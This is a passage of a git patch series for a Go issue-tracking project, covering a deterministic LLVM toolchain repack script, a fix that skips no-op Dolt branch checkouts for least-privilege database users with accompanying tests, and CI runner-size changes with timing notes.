"urls is a members-only .tar.zst made by repack_llvm.sh, not the release .tar.xz.", + ), "members": attr.string_list( mandatory = True, doc = "Archive paths (below strip_prefix) to extract.", diff --git a/tools/cc_toolchain/llvm_members.txt b/tools/cc_toolchain/llvm_members.txt new file mode 100644 index 000000000..8733e050e --- /dev/null +++ b/tools/cc_toolchain/llvm_members.txt @@ -0,0 +1,28 @@ +bin/clang +bin/clang++ +bin/clang-22 +bin/clang-cpp +bin/ld.lld +bin/ld64.lld +bin/lld +bin/llvm-ar +bin/llvm-as +bin/llvm-cov +bin/llvm-install-name-tool +bin/llvm-nm +bin/llvm-objcopy +bin/llvm-objdump +bin/llvm-profdata +bin/llvm-ranlib +bin/llvm-readelf +bin/llvm-readobj +bin/llvm-strip +bin/llvm-symbolizer +bin/wasm-ld +include/c++ +include/x86_64-unknown-linux-gnu +lib/clang/22/include +lib/clang/22/lib/x86_64-unknown-linux-gnu/clang_rt.crtbegin.o +lib/clang/22/lib/x86_64-unknown-linux-gnu/clang_rt.crtend.o +lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.builtins.a +lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.profile.a diff --git a/tools/cc_toolchain/repack_llvm.sh b/tools/cc_toolchain/repack_llvm.sh new file mode 100755 index 000000000..73978d8aa --- /dev/null +++ b/tools/cc_toolchain/repack_llvm.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +# Deterministic members-only repack of the pinned LLVM release for beads' +# hermetic C toolchain (MODULE.bazel llvm_dist "llvm_dist_linux_x86_64"). +# +# repack_llvm.sh MEMBERS_FILE OUT.tar.zst +# +# MEMBERS_FILE is one archive path per line (below the strip prefix); this +# directory's llvm_members.txt matches MODULE.bazel's llvm_dist_linux_x86_64 +# "members" exactly, so: +# tools/cc_toolchain/repack_llvm.sh tools/cc_toolchain/llvm_members.txt \ +# LLVM-22.1.8-Linux-X64-slice.tar.zst +# rebuilds and verifies the pinned slice. Changing MODULE.bazel's members +# list requires updating llvm_members.txt the same way, and vice versa. +# +# Downloads the upstream release (sha256-pinned, as MODULE.bazel pins it), +# extracts exactly the listed members (paths below the strip prefix), and +# writes a reproducible .tar.zst: sorted names, mtime 0, uid/gid 0, no xattrs. +# The extracted files are byte-identical to what llvm_dist.bzl extracts today, +# so every action key that reads them is unchanged; only the archive (URL, +# sha256, format) changes. Re-running the script yields the same sha256. +set -euo pipefail +members=${1:?members file} +out=${2:?output .tar.zst} +ver=22.1.8 +url="https://github.com/llvm/llvm-project/releases/download/llvmorg-${ver}/LLVM-${ver}-Linux-X64.tar.xz" +sha=df0e1ecf16caf3489a272a5eea4eec9b0d82878f6477fa309504f918a0006384 +prefix="LLVM-${ver}-Linux-X64" +work=$(mktemp -d) +trap 'rm -rf "$work"' EXIT +curl -fsSL -o "$work/llvm.tar.xz" "$url" +echo "$sha $work/llvm.tar.xz" | sha256sum -c - >/dev/null +mkdir "$work/x" +# xz is one stream: this is the slow, single-threaded step CI pays today. +# shellcheck disable=SC2046 # intentional: one archive path per tar argument +tar -xJf "$work/llvm.tar.xz" -C "$work/x" --strip-components=1 \ + $(sed "s#^#${prefix}/#" "$members") +tar -C "$work/x" --sort=name --mtime='@0' --owner=0 --group=0 --numeric-owner \ + --no-xattrs --no-acls --no-selinux -cf - . | zstd -19 -T0 -q -o "$out" -f +sha256sum "$out" From a8a0427f8636dd55d588ab694915e4799b6356d3 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 03:47:50 +0000 Subject: [PATCH 049/213] fix(dolt): skip the no-op DOLT_CHECKOUT on fresh connections (#7322) Two fresh-connection paths ran CALL DOLT_CHECKOUT unconditionally: beginTxOnConn (the fallback path for the ignored-tables tx) and pinStoreBranch (used by the long-timeout versioned reads and the blocked recompute). A fresh session is normally already on the requested branch, so the checkout is a no-op. A least-privilege Dolt user may be granted EXECUTE on dolt_add/dolt_commit alone, and it is denied even a no-op checkout. For such a user: bd create --graph / bd mol wisp -> failed to checkout ignored tx branch main: Error 1105 (HY000): command denied to user ... bd history, bd recompute-blocked -> checkout active branch "main": ... command denied Both sites now share checkoutBranchIfNeeded, which reads active_branch() and checks out only when the session is on a different branch, matching what beginBorrowedTx already does. A real switch still happens when one is needed. pinStoreBranch now documents that conn must be a single session. Tests: mock-driver tests cover the skip, a real switch, and a failed branch read. Two real-server tests run as a least-privilege user (SELECT on the database, DML on the data tables, EXECUTE on dolt_add/dolt_commit only, pool pinned to one connection). They cover a wisp write through the fallback, RecomputeAllBlocked and History; each fails with the denial before the fix. Co-authored-by: Claude Opus 5.5 (1M context) --- internal/storage/dolt/BUILD.bazel | 1 + internal/storage/dolt/connection_pool_test.go | 4 +- internal/storage/dolt/store.go | 27 ++- internal/storage/dolt/transaction.go | 15 +- .../dolt/transaction_ignored_checkout_test.go | 228 ++++++++++++++++++ 5 files changed, 265 insertions(+), 10 deletions(-) create mode 100644 internal/storage/dolt/transaction_ignored_checkout_test.go diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 9a14c1778..72a845965 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -347,6 +347,7 @@ go_test( "testmain_helper_sentinel_test.go", "testmain_test.go", "transaction_borrow_test.go", + "transaction_ignored_checkout_test.go", "transaction_phase_test.go", "transaction_test.go", "transaction_wisp_lifecycle_persistence_test.go", diff --git a/internal/storage/dolt/connection_pool_test.go b/internal/storage/dolt/connection_pool_test.go index 31eb8fa62..091f5179d 100644 --- a/internal/storage/dolt/connection_pool_test.go +++ b/internal/storage/dolt/connection_pool_test.go @@ -41,8 +41,8 @@ type mockDriver struct { qmu sync.Mutex // guards queries queries []string // every query string passed to Prepare (borrow-path assertions) - // failCheckout makes Prepare of a DOLT_CHECKOUT statement fail, so borrow-path - // tests can force beginTxOnConn to error and fall through to the fallback. + // failCheckout makes Prepare of a DOLT_CHECKOUT statement fail, modelling a + // user who is denied DOLT_CHECKOUT (a least-privilege operator). failCheckout atomic.Bool // activeBranch is what a SELECT active_branch() query reports; empty means diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 0ee4434e4..2dc8e0a13 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1092,6 +1092,25 @@ func (s *DoltStore) withReadTx(ctx context.Context, fn func(tx *sql.Tx) error) e // and a single pinned *sql.Conn (see recomputeAllBlocked/recomputeBlockedTx). type execer interface { ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error) + QueryRowContext(ctx context.Context, query string, args ...any) *sql.Row +} + +// checkoutBranchIfNeeded puts conn's session on branch, issuing DOLT_CHECKOUT +// only when the session is on a different branch. A fresh session usually +// already sits on the requested branch, and a least-privilege operator user +// (EXECUTE on dolt_add/dolt_commit alone) is denied even a no-op checkout. conn +// must be a single session: on a multi-connection *sql.DB the read and the +// checkout could land on different connections. +func checkoutBranchIfNeeded(ctx context.Context, conn execer, branch string) error { + var active string + if err := conn.QueryRowContext(ctx, "SELECT active_branch()").Scan(&active); err != nil { + return fmt.Errorf("read active branch: %w", err) + } + if active == branch { + return nil + } + _, err := conn.ExecContext(ctx, "CALL DOLT_CHECKOUT(?)", branch) + return err } // pinStoreBranch reproduces the store's real active branch on conn. Branch @@ -1121,18 +1140,22 @@ type execer interface { // in practice rather than by construction. The s.branch fallback does not // close the gap either: it fires only when the query errors, not when it // succeeds with another connection's answer. +// +// conn must be a single session (a *sql.Conn, or a *sql.DB capped at one open +// connection that keeps it idle-cached): the branch read and any checkout +// must land on the same connection. func (s *DoltStore) pinStoreBranch(ctx context.Context, conn execer) error { var branch string if scanErr := s.db.QueryRowContext(ctx, "SELECT active_branch()").Scan(&branch); scanErr == nil { if branch != "" { - if _, err := conn.ExecContext(ctx, "CALL DOLT_CHECKOUT(?)", branch); err != nil { + if err := checkoutBranchIfNeeded(ctx, conn, branch); err != nil { return fmt.Errorf("checkout active branch %q: %w", branch, err) } } } else if s.branch != "" { // Fall back to the store's recorded branch rather than failing the // whole call outright. - if _, err := conn.ExecContext(ctx, "CALL DOLT_CHECKOUT(?)", s.branch); err != nil { + if err := checkoutBranchIfNeeded(ctx, conn, s.branch); err != nil { return fmt.Errorf("checkout fallback branch %q: %w", s.branch, err) } } diff --git a/internal/storage/dolt/transaction.go b/internal/storage/dolt/transaction.go index 8bebf0b9f..ff2be619b 100644 --- a/internal/storage/dolt/transaction.go +++ b/internal/storage/dolt/transaction.go @@ -464,14 +464,17 @@ func beginBorrowedTx(ctx context.Context, conn *sql.Conn, branch string) (*sql.T return tx, nil } -// beginTxOnConn checks a connection out to branch and begins a transaction on -// it. Only the fallback path uses it: the fallback owns a dedicated +// beginTxOnConn puts a connection on branch and begins a transaction on it. +// Only the fallback path uses it: the fallback owns a dedicated // single-connection pool, so checking its session out is safe. Every Dolt SQL -// session has its own active branch, so the explicit checkout is required on -// a fresh dial. +// session has its own active branch, and a fresh dial lands on the database's +// default branch — usually already the requested one. DOLT_CHECKOUT is issued +// only when the session is on a different branch: a capped operator user may +// be granted EXECUTE on dolt_add/dolt_commit alone, and an unconditional no-op +// checkout would be denied and fail every wisp write on the fallback path. func beginTxOnConn(ctx context.Context, conn *sql.Conn, branch string) (*sql.Tx, error) { - if _, err := conn.ExecContext(ctx, "CALL DOLT_CHECKOUT(?)", branch); err != nil { - return nil, fmt.Errorf("failed to checkout ignored tx branch %s: %w", branch, err) + if err := checkoutBranchIfNeeded(ctx, conn, branch); err != nil { + return nil, fmt.Errorf("failed to put ignored tx conn on branch %s: %w", branch, err) } tx, err := conn.BeginTx(ctx, nil) if err != nil { diff --git a/internal/storage/dolt/transaction_ignored_checkout_test.go b/internal/storage/dolt/transaction_ignored_checkout_test.go new file mode 100644 index 000000000..6cdf10fe1 --- /dev/null +++ b/internal/storage/dolt/transaction_ignored_checkout_test.go @@ -0,0 +1,228 @@ +package dolt + +import ( + "context" + "fmt" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// TestBeginTxOnConnSkipsCheckoutWhenAlreadyOnBranch pins that the fresh-dial +// fallback does not issue DOLT_CHECKOUT when the session already sits on the +// requested branch. A fresh session lands on the database's default branch, so +// this is the normal case — and a capped operator user that may EXECUTE only +// dolt_add/dolt_commit is denied DOLT_CHECKOUT outright. +func TestBeginTxOnConnSkipsCheckoutWhenAlreadyOnBranch(t *testing.T) { + ctx := context.Background() + db, drv := openMockDB(t) + drv.failCheckout.Store(true) // any checkout attempt fails, like the capped user + + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("acquire conn: %v", err) + } + defer conn.Close() + + tx, err := beginTxOnConn(ctx, conn, "main") + if err != nil { + t.Fatalf("beginTxOnConn on the session's own branch: %v", err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit: %v", err) + } + if got := drv.countQuery("DOLT_CHECKOUT"); got != 0 { + t.Fatalf("DOLT_CHECKOUT ran %d times, want 0 (session already on the requested branch)", got) + } + if got := drv.countQuery("active_branch"); got != 1 { + t.Fatalf("active_branch ran %d times, want 1", got) + } +} + +// TestBeginTxOnConnChecksOutDifferentBranch pins that the fallback still +// switches a fresh session that is NOT on the requested branch. +func TestBeginTxOnConnChecksOutDifferentBranch(t *testing.T) { + ctx := context.Background() + db, drv := openMockDB(t) + drv.activeBranch.Store("main") + + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("acquire conn: %v", err) + } + defer conn.Close() + + tx, err := beginTxOnConn(ctx, conn, "feature-x") + if err != nil { + t.Fatalf("beginTxOnConn on a different branch: %v", err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit: %v", err) + } + if got := drv.countQuery("DOLT_CHECKOUT"); got != 1 { + t.Fatalf("DOLT_CHECKOUT ran %d times, want 1 (session must be switched to the requested branch)", got) + } +} + +// TestBeginTxOnConnSurfacesActiveBranchError pins that a failed branch read is +// reported rather than papered over with a blind checkout. +func TestBeginTxOnConnSurfacesActiveBranchError(t *testing.T) { + ctx := context.Background() + db, drv := openMockDB(t) + drv.failActiveBranch.Store(true) + + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("acquire conn: %v", err) + } + defer conn.Close() + + tx, err := beginTxOnConn(ctx, conn, "main") + if err == nil { + _ = tx.Rollback() + t.Fatal("expected an error when active_branch() fails") + } + if !strings.Contains(err.Error(), "active branch") { + t.Fatalf("error = %q, want it to name the active-branch read", err.Error()) + } + if got := drv.countQuery("DOLT_CHECKOUT"); got != 0 { + t.Fatalf("DOLT_CHECKOUT ran %d times, want 0", got) + } +} + +// readOnlyMigrationTables are the schema-version tables a least-privilege operator +// only reads: covered +// by the db-level SELECT, never granted DML. +var readOnlyMigrationTables = map[string]bool{ + "schema_migrations": true, + "ignored_schema_migrations": true, +} + +// openCappedOperatorStore opens a store as a least-privilege operator user, as a +// shared Dolt server may grant one: SELECT on the database, DML on the data tables, +// and EXECUTE on only dolt_add/dolt_commit. The pool is pinned to one +// connection, so the ignored tx must take the fresh-dial fallback. The caller +// builds its own context after this returns (see openStoreWithOwnBudget). +func openCappedOperatorStore(t *testing.T) (admin, op *DoltStore) { + t.Helper() + admin, cleanup := setupConcurrentTestStore(t) + t.Cleanup(cleanup) // registered first so it runs after the DROP USER cleanup below + + ctx, cancel := testContext(t) + defer cancel() + + dbName := admin.database + user := "capped_op_" + strings.TrimPrefix(dbName, "testdb_") + const password = "capped-pw" + + exec := func(stmt string) { + t.Helper() + if _, err := admin.db.ExecContext(ctx, stmt); err != nil { + t.Fatalf("%s: %v", stmt, err) + } + } + exec(fmt.Sprintf("CREATE USER '%s'@'%%' IDENTIFIED BY '%s'", user, password)) + t.Cleanup(func() { + _, _ = admin.db.ExecContext(context.Background(), fmt.Sprintf("DROP USER IF EXISTS '%s'@'%%'", user)) + }) + exec(fmt.Sprintf("GRANT SELECT ON `%s`.* TO '%s'@'%%'", dbName, user)) + + rows, err := admin.db.QueryContext(ctx, "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'") + if err != nil { + t.Fatalf("list tables: %v", err) + } + var tables []string + for rows.Next() { + var name, kind string + if err := rows.Scan(&name, &kind); err != nil { + _ = rows.Close() + t.Fatalf("scan table: %v", err) + } + if !readOnlyMigrationTables[name] && !strings.HasPrefix(name, "dolt_") { + tables = append(tables, name) + } + } + if err := rows.Err(); err != nil { + t.Fatalf("iterate tables: %v", err) + } + _ = rows.Close() + if len(tables) == 0 { + t.Fatal("no data tables found to grant") + } + for _, table := range tables { + exec(fmt.Sprintf("GRANT INSERT, UPDATE, DELETE ON `%s`.`%s` TO '%s'@'%%'", dbName, table, user)) + } + for _, proc := range []string{"dolt_add", "dolt_commit"} { + exec(fmt.Sprintf("GRANT EXECUTE ON PROCEDURE `%s`.`%s` TO '%s'@'%%'", dbName, proc, user)) + } + + op, err = openStoreWithOwnBudget(t, &Config{ + Path: t.TempDir(), + CommitterName: "test", + CommitterEmail: "test@example.com", + Database: dbName, + ServerUser: user, + ServerPassword: password, + MaxOpenConns: 1, + }) + if err != nil { + t.Fatalf("open store as capped operator: %v", err) + } + t.Cleanup(func() { _ = op.Close() }) + return admin, op +} + +// TestIgnoredTxFallbackUnderCappedOperatorUser reproduces the failure end to +// end: writing a wisp in a transaction as a capped operator +// used to fail with "failed to checkout ignored tx branch main: ... command +// denied" (bd create --graph, bd mol wisp). +func TestIgnoredTxFallbackUnderCappedOperatorUser(t *testing.T) { + admin, op := openCappedOperatorStore(t) + ctx, cancel := testContext(t) + defer cancel() + + wisp := &types.Issue{ + ID: "test-capped-wisp", + Title: "wisp written by a capped operator", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Ephemeral: true, + } + if err := op.RunInTransaction(ctx, "test: capped operator writes a wisp", func(tx storage.Transaction) error { + return tx.CreateIssue(ctx, wisp, "tester") + }); err != nil { + t.Fatalf("RunInTransaction as capped operator: %v", err) + } + + assertWispCount(ctx, t, admin.db, wisp.ID, 1) +} + +// TestPinnedConnReadsUnderCappedOperatorUser covers the other fresh-connection +// site, pinStoreBranch: the long-timeout history read and the pinned-conn +// blocked recompute used to fail with "checkout active branch \"main\": ... +// command denied" for the same capped operator. +func TestPinnedConnReadsUnderCappedOperatorUser(t *testing.T) { + _, op := openCappedOperatorStore(t) + ctx, cancel := testContext(t) + defer cancel() + + issue := &types.Issue{ + ID: "test-capped-history", + Title: "durable issue read back by a capped operator", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + } + if err := op.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("CreateIssue as capped operator: %v", err) + } + if _, err := op.RecomputeAllBlocked(ctx); err != nil { + t.Fatalf("RecomputeAllBlocked as capped operator: %v", err) + } + if _, err := op.History(ctx, issue.ID); err != nil { + t.Fatalf("History as capped operator: %v", err) + } +} From 785f10724a8dbf1022f2d8dd6ad6f937b1f3e643 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 05:16:20 +0000 Subject: [PATCH 050/213] ci: bigger runners for the slowest cached-run jobs (MCP gate 8 vCPU -n16, Bazel test 4 vCPU) (#7381) * ci: bigger runners for the slowest CI legs (MCP gate, Bazel test, Windows preflight) Runner-size A/B against merge group 37721729916 (3m49s): - package-mcp: 4 -> 8 vCPU with pytest -n 16 (BEADS_MCP_PYTEST_WORKERS, mode remote only; forks/ubuntu-latest keep package-mcp.sh's default 8). pytest was 70s, dominated by CPU-bound per-test `bd init` setup. Local, pinned with taskset: -n 8 on 4 CPUs 112s; -n 16 on 8 CPUs 60/57/58s, 228 passed / 5 skipped in all three runs. - bazel-test: 2 -> 4 vCPU. `bazel test //... --config=ci` spent ~63 of 81s in client-side loading/analysis (critical path 7.65s, every action a remote cache hit). - pr-preflight-platforms Windows leg: 4 -> 8 vCPU. main.yml's test-windows saver stays on 4 vCPU: the cache keys name runner.os/runner.arch, never the label, and actions/cache's version covers only paths + compression, so the entries are not size-specific; the other Windows consumers keep their exact label. TestWindowsPreflightLegReachesSaverAcrossSizes pins it. Runner labels live in the shared constants in scripts/ci_blacksmith_runner_test.go; TestBlacksmithBazelRunnerSizes checks every bazel.yml lane's runs-on and the MCP worker count per rbe mode with evalGHExpr. Revert any bump that does not save at least 15s. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(pr): keep the Windows preflight leg on 4 vCPU (A/B: 8 vCPU queued 63s) #7381's PR run put pr-preflight-platforms' Windows leg on blacksmith-8vcpu-windows-2025. The cache restore from main.yml's 4 vCPU test-windows saver hit, but the job waited 63s for an 8 vCPU Windows runner and finished at 144s against the 129s baseline on 4 vCPU, so the leg goes back to blacksmith-4vcpu-windows-2025. With saver and consumer on one label again, TestWindowsPreflightLegReachesSaverAcrossSizes and the separate preflight runner map have nothing left to pin and are dropped; the result is recorded next to platformsMatrixRunners, in pr.yml and in CI_REQUIRED_CHECK_TOPOLOGY.md. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 25 ++++++-- .github/workflows/pr.yml | 4 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 12 ++-- scripts/ci/package-mcp.sh | 12 +++- scripts/ci_blacksmith_runner_test.go | 81 +++++++++++++++++++++++++ scripts/ci_workflow_test.go | 40 +++++++----- scripts/pr_lanes_bazel_coverage_test.go | 4 +- 7 files changed, 147 insertions(+), 31 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 6564862f0..66322c9d5 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -728,8 +728,15 @@ jobs: # they miss on the runner, so they get the larger GitHub-hosted one. # Fork modes (fork-ro/fork-rw) execute remotely but stay GitHub-hosted, # like every fork job: the runner is only a client. + # + # 4 vCPU, not the other lanes' 2: with every action a remote cache hit, + # this lane's `bazel test //... --config=ci` spent ~63 of 81s in + # client-side loading and analysis (1798 packages, 66k configured + # targets; critical path 7.65s, merge group 37721729916), which Bazel + # parallelizes across the client's cores. Revert to 2 vCPU if the A/B + # does not save at least 15s on that step. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} # Remote execution goes to rbe-west (instance "oss", the Blacksmith-backed # worker pool shared with gascity). Skipped only in mode skip (same-repo # runs while RBE_WEST_WORKERS is unset). @@ -2210,9 +2217,12 @@ jobs: package-mcp: name: Package Gate (MCP) needs: rbe - # 4 vCPU on purpose: pytest-xdist -n 8 measured ~2.7-3x on 4 CPUs - # (tools/f3 timing, 2026-10), well past 2 vCPU's ceiling. - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} + # 8 vCPU with 16 xdist workers (BEADS_MCP_PYTEST_WORKERS below): pytest + # was 70s of this job at -n 8 on 4 vCPU (merge group 37721729916), + # dominated by per-test `bd init` fixture setup, which is CPU-bound. + # Was 4 vCPU / -n 8 (tools/f3 timing, 2026-10: ~2.7-3x on 4 CPUs); + # revert to that if the A/B does not save at least 15s. + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ inputs.package-gates == 'on' }} timeout-minutes: 30 outputs: @@ -2266,8 +2276,8 @@ jobs: echo "BEADS_TEST_BD_BINARY=$RUNNER_TEMP/bd-artifacts/bd-linux-gms-pure" >> "$GITHUB_ENV" # Defense in depth: nothing after this step needs the Bazel server # or its RBE client key (uv sync and pytest run PR-controlled - # code). Shutting down also frees the JVM's memory for the 8 - # xdist workers that follow on this 4 vCPU runner. + # code). Shutting down also frees the JVM's memory for the 16 + # xdist workers that follow on this 8 vCPU runner. bazel shutdown rm -rf "$RUNNER_TEMP/bazel-ci-secret" @@ -2313,6 +2323,9 @@ jobs: if: ${{ steps.detect.outputs.mcp_package == 'true' }} env: GOCACHE: ${{ runner.temp }}/go-cache/non-race + # 16 workers on the 8 vCPU Blacksmith runner; package-mcp.sh's + # default 8 on the GitHub-hosted fallback. + BEADS_MCP_PYTEST_WORKERS: ${{ needs.rbe.outputs.mode == 'remote' && '16' || '8' }} run: make ci-package-mcp # Last step: the job's result as a workflow_call output for pr.yml's diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 628ed5dcc..9483e2b36 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -505,7 +505,9 @@ jobs: # restores, mostly tar extraction), 33-71s for TestPRPreflight (Git Bash # process creation, now parallel subtests), 27-58s to compile and link # ./cmd/bd's test binary, and about 25s for the rest. A second Windows leg - # would pay the setup again to save about 20s, so it stays one leg. + # would pay the setup again to save about 20s, so it stays one leg. An + # 8 vCPU Windows leg was tried (#7381): cache restores still hit, but it + # queued 63s for the larger runner and finished at 144s vs 129s here. pr-preflight-platforms: name: PR preflight process (${{ matrix.os }}) runs-on: ${{ matrix.runner }} diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index fb22a7410..e271b795b 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -883,9 +883,11 @@ Required` requires them to have run remotely and passed. `1.3.0 (dev)`, no commit); no consumer reads it. Verified 2026-10-02: both package gates pass with the Bazel-built bd (MCP: 228 passed, 5 skipped; npm: all tests and the pack dry run), the same as with a - `go build` bd. Both run on `blacksmith-4vcpu-ubuntu-2404` when - `rbe.outputs.enabled == 'true'` (4 vCPU: `pytest -n 8` is pinned to - timing measured there), `ubuntu-latest` otherwise. `bazel-test`'s own + `go build` bd. In mode remote, package-npm runs on + `blacksmith-4vcpu-ubuntu-2404` and package-mcp on + `blacksmith-8vcpu-ubuntu-2404` with `pytest -n 16` + (`BEADS_MCP_PYTEST_WORKERS`; the script's default is `-n 8`); + `ubuntu-latest` (and `-n 8`) otherwise. `bazel-test`'s own `bazel-ci-build-artifacts` upload is no longer consumed by anything; it is kept for the F3.5.3 SHA256SUMS comparison and for debugging. - The Dolt-backed domain, uow, tracker, doctor/fix and protocol suites @@ -1204,7 +1206,9 @@ their `blacksmith-*vcpu-windows-2025` label literally; the two mixed-OS matrix jobs, `pr-preflight-platforms` and `check-doc-freshness-platforms`, run a macOS leg on `blacksmith-6vcpu-macos-26` (Apple Silicon) and a Windows leg on `blacksmith-4vcpu-windows-2025`, each leg naming its label in the -matrix (`runs-on: ${{ matrix.runner }}`). There is no GitHub-hosted fallback: +matrix (`runs-on: ${{ matrix.runner }}`). An 8 vCPU Windows preflight leg +was tried (#7381): it restored the 4 vCPU saver's cache, but queued 63s for +the larger runner and finished slower (144s vs 129s), so it stays on 4 vCPU. There is no GitHub-hosted fallback: Blacksmith serves this org's fork PRs (gascity's fork PRs run their CI on `blacksmith-*` labels). Fork runs get no secrets and a read-only token (`TestBlacksmithJobsReadNoSecrets` keeps every Blacksmith job free of secret diff --git a/scripts/ci/package-mcp.sh b/scripts/ci/package-mcp.sh index 5b14a7041..56490599d 100755 --- a/scripts/ci/package-mcp.sh +++ b/scripts/ci/package-mcp.sh @@ -55,8 +55,16 @@ mcp_pytest() { # Explicit worker count, not "auto": CI runners' reported CPU count # doesn't always match the cgroup quota, and -n 8 is pinned to measured # timing (tools/f3, 2026-10) on both 2 vCPU (2.7x) and 4 vCPU (~3x) - # runners. pytest-xdist is a pinned dev dependency (pyproject.toml). - uv run pytest -n 8 --durations=50 + # runners. bazel.yml's package-mcp sets BEADS_MCP_PYTEST_WORKERS=16 on + # its 8 vCPU Blacksmith runner (the suite is dominated by per-test + # `bd init` fixture setup, so two workers per CPU still pay off). + # pytest-xdist is a pinned dev dependency (pyproject.toml). + local workers="${BEADS_MCP_PYTEST_WORKERS:-8}" + if [[ ! "$workers" =~ ^[1-9][0-9]*$ ]]; then + echo "BEADS_MCP_PYTEST_WORKERS must be a positive integer, got '$workers'" >&2 + return 2 + fi + uv run pytest -n "$workers" --durations=50 } mcp_build() { diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index a6a1b3466..35685349a 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -55,6 +55,39 @@ const sameRepoBlacksmith8vcpu = "${{ (github.event_name == 'merge_group' || (git const blacksmithWindows2vcpuRunsOn = "${{ 'blacksmith-2vcpu-windows-2025' }}" const blacksmithWindows4vcpuRunsOn = "${{ 'blacksmith-4vcpu-windows-2025' }}" +// bazel.yml's lanes pick their runner from the rbe job's decision alone +// (TestBazelRBEJobDecidesOnce): Blacksmith in mode remote, GitHub-hosted +// otherwise. bazelRemoteRunsOn builds that ternary for one Blacksmith size so +// every lane's pinned runs-on is the same literal apart from the label. +func bazelRemoteRunsOn(label string) string { + return "${{ needs.rbe.outputs.mode == 'remote' && '" + label + "' || 'ubuntu-latest' }}" +} + +// The default lane size: the runner is only an RBE client (every action +// executes on rbe-west), so 2 vCPU is enough. +var bazelLaneRunsOn = bazelRemoteRunsOn("blacksmith-2vcpu-ubuntu-2404") + +// Runner-size A/B (ci/bigger-runners-ab, 2026-10-08): bazel-test's +// `bazel test //... --config=ci` spent ~63 of its 81 s in client-side loading +// and analysis (1798 packages, 66k configured targets; critical path 7.65 s, +// every action a remote cache hit), which Skyframe parallelizes across the +// client's cores. 4 vCPU; revert to bazelLaneRunsOn if the PR run does not +// save at least 15 s on that step. +var bazelTestLaneRunsOn = bazelRemoteRunsOn("blacksmith-4vcpu-ubuntu-2404") + +// The package gates: package-npm at 4 vCPU (F3); package-mcp at 8 vCPU with +// pytest -n 16 (bazelMCPPytestWorkers), since its pytest run is dominated by +// per-test `bd init` fixture setup, which is CPU-bound and parallel. +var bazelPackageRunsOn = map[string]string{ + "package-mcp": bazelRemoteRunsOn("blacksmith-8vcpu-ubuntu-2404"), + "package-npm": bazelRemoteRunsOn("blacksmith-4vcpu-ubuntu-2404"), +} + +// package-mcp's BEADS_MCP_PYTEST_WORKERS: 16 xdist workers on the 8 vCPU +// Blacksmith runner (mode remote), package-mcp.sh's default 8 on the +// GitHub-hosted fallback (forks, Dependabot, rbe off/skip/cache). +const bazelMCPPytestWorkers = "${{ needs.rbe.outputs.mode == 'remote' && '16' || '8' }}" + // Blacksmith macOS (Apple Silicon M4, ARM64), pinned to macos-26 (the image // GitHub's macos-latest resolves to) so the PR legs and main.yml's // blacksmith-macos-go-build-cache saver share one image regardless of when @@ -69,6 +102,11 @@ const platformsMatrixRunsOn = "${{ matrix.runner }}" // platformsMatrixRunners: each mixed-OS matrix leg's `os` (which keeps the // check names stable) -> its Blacksmith label. +// +// Runner-size A/B (#7381, 2026-10-08): pr-preflight-platforms' Windows leg on +// blacksmith-8vcpu-windows-2025 restored the 4 vCPU saver's cache fine, but +// waited 63s for an 8 vCPU Windows runner and finished at 144s against 129s +// on 4 vCPU, so it stays on blacksmithWindowsLabel. var platformsMatrixRunners = map[string]string{ "macos-latest": blacksmithMacOSLabel, "windows-latest": blacksmithWindowsLabel, @@ -518,3 +556,46 @@ func TestBlacksmithWindowsMacOSRunsOnEveryEvent(t *testing.T) { } } } + +// TestBlacksmithBazelRunnerSizes evaluates every bazel.yml lane's real +// runs-on (and package-mcp's xdist worker count) under 